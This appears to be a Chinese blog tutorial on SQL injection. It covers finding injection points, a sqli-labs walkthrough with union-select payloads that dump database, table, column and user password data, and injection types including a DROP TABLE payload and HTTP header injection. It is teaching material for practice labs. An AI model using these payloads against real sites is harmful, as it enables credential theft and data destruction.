SQL注入(二)sql注入基本流程与注入类型

SQL注入(二)

1. SQL注入的基本流程

1.1 判断注入点

输入点分析:首先,需要识别应用程序中的输入点,包括用户输入的表单字段、URL参数、Cookie等。

尝试注入:在识别到可能的注入点后,可以尝试在这些输入点中插入一些特殊字符(如单引号 '、双引号 "、分号 ; 等)来观察应用程序的反应。如果应用程序返回错误信息、显示异常或者执行了不正常的操作,可能表示存在SQL注入漏洞。

1.2 报错猜解

  1. 构造恶意输入:攻击者在注入点插入恶意的SQL代码,例如在一个输入框中输入 ' OR 1=1;--,以尝试触发SQL注入漏洞。

  2. 触发报错:攻击者通过构造的恶意输入,试图触发应用程序返回数据库错误信息。例如,攻击者可能会在注入点中插入一个不存在的列名或表名,导致数据库执行错误并返回相关错误信息。

    3.解析错误信息:应用程序返回的错误信息中可能包含数据库相关的信息,如数据库类型、表名、列名等。攻击者可以通过解析这些错误信息来获取敏感数据或了解数据库结构。

1.3 使用SQL语句进行查询

见sql注入(一)

1.4 一次简单的注入实例

判断注入点为id
http://localhost/sqli-labs/Less-2/index.php?id=-1 --+

在这里插入图片描述

使用order by猜列数。order by 3正常,order by 4报错。因此表中有3个列,以便后续使用union查询
?id=1 order by 4 --+
爆破数据库
?id=-1 union select 1,2,group_concat(schema_name)from
information_schema.schemata--+
爆破表单名
?id=-1 union select 1,2,group_concat(table_name)from information_schema.tables
where table_schema=database()--+
爆破字段
?id=-1 union select 1,2,group_concat(column_name)from information_schema.columns
where table_name='users'--+
爆破字段内容
?id=-1 union select 1,2,(select group_concat(username,0x7e,password)from users)-
-+

在这里插入图片描述

2. 注入点的数据类型

2.1 数字型

假设一个应用程序接收用户输入的ID参数,并根据该ID从数据库中检索相关信息:

SELECT * FROM users WHERE id = $user_input;

如果应用程序未正确验证和过滤用户输入,攻击者可以在ID参数(1 OR 1=1)中注入恶意的SQL代码,例如:

SELECT * FROM users WHERE id = 1 OR 1=1;

2.2 字符型

假设一个应用程序接收用户输入的用户名,并根据该用户名从数据库中检索相关信息:

SELECT * FROM users WHERE username = '$user_input';

如果应用程序未正确验证和过滤用户输入,攻击者可以在用户名参数(' OR 1=1;--)中注入恶意的SQL代码,例如:

SELECT * FROM users WHERE username = 'admin' OR 1=1;

2.3 搜索型

这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 "keyword=关键字" 有的不显示在的链接地址里面,而是直接通过搜索框表单提交。

在这里插入图片描述

假设一个应用程序具有一个搜索功能,用户可以输入关键字搜索相关内容:

SELECT * FROM products WHERE name LIKE '%$user_input%';

如果应用程序未正确验证和过滤用户输入,攻击者可以在搜索关键字中注入恶意的SQL代码(%'; DROP TABLE products; --),例如:

SELECT * FROM products WHERE name LIKE '%'; DROP TABLE products; --';

2.4 其他型

其他型:也就是由于SQL语句拼接方式不同,在SQL中的实际语句为:,其本质为(xx') or 1=1 # )

常见的闭合符号:'     ''    %     (      {

2.5 例 sqli-labs(1-4)

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

3 提交方式

3.1 GET方式

在GET请求中,参数会附加在URL的末尾,例如:

https://www.example.com/search?keyword=example

3.2 POST方式

POST请求将数据放在请求的主体中,而不是附加在URL的末尾。这种方式使得POST请求更适合传输敏感数据或大量数据,因为数据不会暴露在URL中。

以下是一个POST请求的示例:

POST /login HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded

username=user&password=pass

方法:利用BurpSuite抓包进行重放修改内容进行

在这里插入图片描述

3.3 Request方式

$_REQUEST(获取GET/POST/COOKIE)
$_POST(获取POST传参)
$_GET(获取GET传参)
$_COOKIE(获取COOKIE传参)
$_SERVER(包含了诸如头部信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组)

3.4 HTTP头注入

假设一个网站使用用户输入构建HTTP响应头部,如下所示:

HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: sessionid=12345

如果攻击者能够控制用户输入并在其中插入换行符(\n),则可能导致HTTP头注入漏洞,攻击者可能构造如下恶意请求:

GET /path HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0
Cookie: sessionid=12345\nSet-Cookie: malicioussession=abcdef

在这个示例中,攻击者成功在Cookie头部中插入了换行符,并添加了一个恶意的Set-Cookie头部,从而可能导致用户的会话被劫持或其他安全问题。

4 头部注入案例

4.1 user-agent头部注入

网页记录了本地ip的信息,说明可能事数据库记录了本机的信息,即后台获取了一些诸如Ip的信息保存

到数据库中,并且页面返回了数据包user-agent的信息,那么在请求头中就可能存在注入点

在这里插入图片描述

源码分析

在这里插入图片描述
源码分析
在这里插入图片描述

  • 28
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
SQL注入攻击是一种利用输入的SQL代码进行非法操作的攻击方式。攻击者可以通过在输入框中注入恶意的SQL代码,从而绕过应用程序的认证和授权机制,对数据库进行各种操作,例如删除、修改、插入数据,甚至获取数据库中的敏感信息。 《SQL注入攻击与防御第二版》是一本关于SQL注入攻击的防御和应对策略的书籍。该书介绍了SQL注入攻击的原理、常见的攻击方式、实际案例以及相应的防御措施。 在防御SQL注入攻击时,我们可以采取以下一些措施: 1. 使用参数化查询或预编译语句:这种方式可以防止攻击者通过输入恶意的SQL代码来注入攻击。参数化查询使用占位符来代替输入的变量,预编译语句将SQL查询语句和变量分开进行处理,从而有效防止注入攻击。 2. 对输入进行过滤和验证:在接收用户输入时,可以对输入进行过滤和验证。例如,可以使用正则表达式或编码转换函数来过滤用户输入中的特殊字符,从而防止注入攻击。 3. 最小权限原则:数据库用户应该被赋予最小权限,在应用程序连接数据库时,使用具有最小权限的数据库用户,限制了攻击者对数据库的操作。 4. 定期更新和升级软件:应该及时更新数据库和应用程序的补丁,以修复已知的漏洞,提高系统的安全性。 5. 日志监控和异常检测:及时监控数据库操作日志,发现异常操作并进行相应的处理。可以通过设置数据库的审计功能、使用入侵检测系统等方式进行日志监控和异常检测。 通过了解并遵循上述防御措施,可以增强系统的安全性,有效地防范SQL注入攻击。《SQL注入攻击与防御第二版》这本书将为读者提供更深入的理解和应对策略。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值